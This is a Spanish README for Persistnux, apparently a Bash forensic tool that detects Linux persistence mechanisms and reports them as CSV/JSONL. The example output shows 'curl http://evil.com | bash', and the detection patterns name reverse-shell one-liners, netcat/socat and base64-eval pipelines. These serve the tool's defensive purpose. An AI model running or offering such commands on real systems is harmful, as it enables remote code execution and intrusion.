
Herramienta de detección de persistencia en Linux basada en Bash para investigaciones DFIR. Escanea más de 15 mecanismos de persistencia (systemd, cron, módulos del kernel, SSH, contenedores) con puntuación de confianza y genera informes CSV/JSONL para análisis forense.
Una herramienta integral de detección de persistencia en Linux para investigaciones de Informática Forense y Respuesta a Incidentes (DFIR).
Persistnux es una herramienta basada en Bash diseñada para identificar mecanismos de persistencia conocidos en Linux utilizados por atacantes para mantener el acceso a sistemas comprometidos. Realiza comprobaciones exhaustivas en el sistema y genera informes detallados en formato CSV y JSONL para su posterior análisis.
.service) en /etc/systemd/system, /lib/systemd/system, /usr/lib/systemd/system/etc/crontab, /etc/cron.d/*)/etc/cron.{daily,hourly,weekly,monthly})/etc/cron.allow y /etc/cron.deny: se marcan entradas que referencian usuarios inexistentes/etc/profile, /etc/bash.bashrc, /etc/zshrc)/etc/profile.d/*).bashrc, .bash_profile, .zshrc, .profile, etc.)/etc/rc.local y variantes/etc/init.d)/etc/rc*.d)/etc/ld.so.preload): cada biblioteca listada se verifica mediante el gestor de paquetes/etc/ld.so.conf, /etc/ld.so.conf.d/): se escanea la integridad de los archivos de configuración y se verifican los archivos .so en rutas no estándar/etc/environment: el archivo de entorno se marca como ALTO; las rutas de bibliotecas referenciadas se verifican (no gestionadas/modificadas → CRÍTICO)/etc/modprobe.d/, /etc/modprobe.conf): integridad del archivo; se analizan las directivas install en busca de objetivos de comando sospechosos; el blacklist de módulos de seguridad (apparmor, selinux, seccomp) se marca como ALTO/etc/modules, /etc/modules-load.d/): integridad de la configuración; los nombres de módulos referenciados se resuelven a archivos mediante y se verifican.config/autostart, /etc/xdg/autostart): se escanean todos los directorios de usuario cuando se ejecuta como root/etc/environment): se verifican las rutas de bibliotecas LD_PRELOAD/LD_LIBRARY_PATH/etc/sudoers, /etc/sudoers.d/): patrones NOPASSWD/ALL → ALTO.so se verifican mediante el gestor de paquetes; se siguen las directivas @include; se incluye /etc/pam.confpam_exec.so: scripts faltantes/sospechosos → CRÍTICOpam_python.so / pam_perl.so: el script se extrae y analizapam_script.so en ~/.ssh/authorized_keys por usuario: claves modificadas recientemente marcadas; se analiza el contenido de la opción command= en busca de patrones sospechosos~/.ssh/rc por usuario: presencia marcada como MEDIA; contenido sospechoso/shell inversa → ALTO/CRÍTICOdpkg -V en Debian/Ubuntu, rpm -Va en RHEL/CentOS)/usr/bin, /usr/sbin, /bin, /sbin → hallazgo CRÍTICO/lib/security → hallazgo CRÍTICOinit= en GRUB (/etc/default/grub, /etc/default/grub.d/*.cfg)/pre-pivot que escriben en /sysroot/etc/shadow/etc/initramfs-tools/scripts/ y /hooks//boot/initrd.img-* modificadas recientemente (basado en mtime).pkla con ResultAny/ResultInactive/ResultActive=yes incondicionalesunix-user:*).rules con polkit.Result.YES incondicional (Polkit basado en JavaScript >= 0.106)Exec= (/usr/share/dbus-1/system-services/)allow own="*" o send_destination="*"/etc/NetworkManager/dispatcher.d/)RUN+= que ejecutan comandos o scripts arbitrarios (/etc/udev/rules.d/, /lib/udev/rules.d/)/run/udev/rules.d/at/cron en RUN+= (evasión común de restricciones de primer plano)--privileged, --pid=host)docker.sock en contenedores (control total del host a través de la API de Docker)nsenter -t 1 en puntos de entrada de contenedores o Dockerfilesgetcap: cap_setuid+ep en GTFOBins → CRÍTICO.original, .old, .bak, .real) con scripts envoltorio/etc/passwd/etc/passwdauthorized_keys SSH# Clone the repository
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# Make the script executable
chmod +x persistnux.sh
# Run with default settings (shows only suspicious findings)
sudo ./persistnux.sh
# Show help and all options
./persistnux.sh --help
# Run as regular user (limited scope)
./persistnux.sh
De forma predeterminada, Persistnux muestra solo hallazgos sospechosos (confianza MEDIA, ALTA, CRÍTICA) para reducir el ruido y centrarse en amenazas procesables.
# Default: Show only suspicious findings
sudo ./persistnux.sh
# Show all findings including baseline (LOW confidence)
sudo ./persistnux.sh --all
# OR
sudo FILTER_MODE=all ./persistnux.sh
# Show only HIGH and CRITICAL confidence findings
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# Combine filters: HIGH confidence only
sudo ./persistnux.sh --min-confidence HIGH
# Specify custom output directory
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# Combine with filtering
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
De forma predeterminada, Persistnux crea un directorio de salida ./persistnux_output/ que contiene:
persistnux_<hostname>_<timestamp>.csv - Informe en formato CSVpersistnux_<hostname>_<timestamp>.jsonl - Informe en formato JSONL (un objeto JSON por línea)persistnux_<hostname>_<timestamp>_report.txt - Informe resumen legible por humanos con recuentos de hallazgos y metadatos del escaneotimestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
suspicious_script_content, modified_package, unmanaged_binary)Persistnux utiliza una puntuación de confianza inteligente para reducir los falsos positivos:
Persistnux ahora incluye varias características para reducir los falsos positivos:
dpkg (Debian/Ubuntu) o rpm (RedHat/CentOS) reciben puntuaciones de confianza más bajasPersistnux marca automáticamente los elementos con mayor confianza cuando detecta:
bash -i >& /dev/tcp/, sh -i >& /dev/udp/nc, netcat, socat, telnetpython -c 'import socket'curl | bash, wget | shcurl URL -o /tmp/file && chmod +xbase64 -d | bash, eval $(echo BASE64)eval, exec/tmp, /dev/shm, /var/tmpchmod +x, chmod 777chmod u+sfind, grep, stat, sha256sum, awk, filesystemctl, lsmod, modinfo, getcap, dpkg/rpm (para comprobaciones específicas)python/jq)Nota: La herramienta se ha probado principalmente en sistemas Ubuntu/Debian. Las distribuciones basadas en RedHat, Fedora y RPM tienen soporte para el gestor de paquetes implementado en el código pero no se han validado en entornos de prueba en vivo. Se agradecen las contribuciones e informes de prueba para distribuciones basadas en RPM.
Persistnux se compara con PANIX,
que instala los mismos mecanismos de persistencia que Persistnux busca. El
entorno de pruebas repetible en tests/panix_benchmark.sh aplica cada
técnica de PANIX, ejecuta Persistnux y confirma la detección mediante una diferencia de línea base.
Cada técnica PANIX basada en archivos que se aplica en el equipo de prueba se detecta con
confianza MEDIA+. Consulte PANIX_BENCHMARK.md para obtener la tabla de cobertura completa y la metodología.
⚠️ El benchmark instala puertas traseras reales; ejecútelo solo en una máquina virtual desechable.
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
¡Las contribuciones son bienvenidas! No dude en enviar pull requests o abrir issues para:
Licencia MIT - Consulte el archivo LICENSE para más detalles.
Desarrollado para la comunidad DFIR para ayudar en la respuesta a incidentes en Linux y las investigaciones forenses.
Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas, respuesta a incidentes y análisis forense. Los usuarios son responsables de asegurarse de tener la autorización adecuada antes de ejecutar esta herramienta en cualquier sistema.
Para preguntas, problemas o contribuciones, utilice el rastreador de issues de GitHub.
.komodinfolsmod): enumeración y verificación de integridad/etc/security/pam_env.conf y ~/.pam_environment/etc/security//etc/update-motd.d/): verificación del paquete; modificado → CRÍTICO| Distribución | Estado | Notas |
|---|
| Ubuntu 22.04 LTS | ✅ Probado | Plataforma principal de desarrollo y pruebas |
| Ubuntu 20.04 LTS | ✅ Probado | Totalmente compatible |
| Debian 11/12 | ✅ Probado | Basado en dpkg, mismas convenciones de rutas |
| Kali Linux (rolling) | ✅ Probado | Utilizado para el benchmark de detección PANIX (ver más abajo) |
| RedHat / RHEL | ⚠️ Aún no probado | El soporte para rpm está implementado pero no verificado en sistemas en vivo |
| Fedora | ⚠️ Aún no probado | El soporte para rpm está implementado pero no verificado en sistemas en vivo |
| CentOS / AlmaLinux / Rocky | ⚠️ Aún no probado | El soporte para rpm está implementado pero no verificado en sistemas en vivo |